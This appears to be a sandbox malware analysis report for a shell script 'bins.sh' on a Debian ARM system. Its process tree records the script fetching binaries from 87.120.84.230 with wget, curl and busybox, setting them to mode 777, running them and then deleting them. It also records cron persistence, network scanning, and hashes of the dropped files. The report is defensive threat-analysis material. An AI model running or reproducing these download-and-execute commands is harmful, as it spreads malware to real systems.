Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2024, 01:13

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-bk3j9azerm
  • SHA256 365760ceebf109311fd23f1bbff2d6bded20acfec75110f8000f32639d29fe11
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1979) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:658
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:660
        • /usr/bin/wget
          wget http://87.120.84.230/bins/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Writes file to tmp directory
          PID:663
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:683
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          ./a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://87.120.84.230/bins/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Writes file to tmp directory
            PID:703
          • /bin/chmod
            chmod 777 Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • File and Directory Permissions Modification
            PID:708
          • /tmp/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            ./Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Executes dropped EXE
            PID:709
          • /bin/rm
            rm Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
              PID:712
            • /usr/bin/wget
              wget http://87.120.84.230/bins/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Writes file to tmp directory
              PID:713
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:723
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Writes file to tmp directory
              PID:732
            • /bin/chmod
              chmod 777 OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • File and Directory Permissions Modification
              PID:737
            • /tmp/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              ./OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Executes dropped EXE
              PID:738
            • /bin/rm
              rm OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
                PID:741
              • /usr/bin/wget
                wget http://87.120.84.230/bins/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Writes file to tmp directory
                PID:743
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:752
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Writes file to tmp directory
                PID:755
              • /bin/chmod
                chmod 777 ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • File and Directory Permissions Modification
                PID:756
              • /tmp/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                ./ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Executes dropped EXE
                PID:757
              • /bin/rm
                rm ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                  PID:759
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Writes file to tmp directory
                  PID:760
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:763
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Writes file to tmp directory
                  PID:775
                • /bin/chmod
                  chmod 777 VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:779
                • /tmp/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  ./VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Executes dropped EXE
                  PID:780
                • /bin/rm
                  rm VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                    PID:782
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Writes file to tmp directory
                    PID:784
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:792
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Writes file to tmp directory
                    PID:801
                  • /bin/chmod
                    chmod 777 zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • File and Directory Permissions Modification
                    PID:802
                  • /tmp/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    ./zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:803
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:805
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:806
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:807
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:808
                        • /bin/rm
                          rm zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                          2⤵
                            PID:810
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/sLlp6kW4vv0BbZdzNBTBdxeCluTzSSnYvr
                            2⤵
                              PID:813

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38

                                • Path /tmp/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
                                • Size 117KB
                                • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                • MD5 SHA1 SHA512 SSDEEP

                                VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt

                                • Path /tmp/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM

                                • Path /tmp/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
                                • Size 107KB
                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                • MD5 SHA1 SHA512 SSDEEP

                                ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX

                                • Path /tmp/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP

                                a391rozmLMGjuYeun5LSONAdtIqakCWUdU

                                • Path /tmp/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP

                                zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq

                                • Path /tmp/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                                • Size 141KB
                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.a6I8Bp

                                • Path /var/spool/cron/crontabs/tmp.a6I8Bp
                                • Size 210B
                                • SHA256 04e62c8736b6d2c2f6c61a501c964b35742edec7695d42a248789ec5a48ab63e
                                • MD5 SHA1 SHA512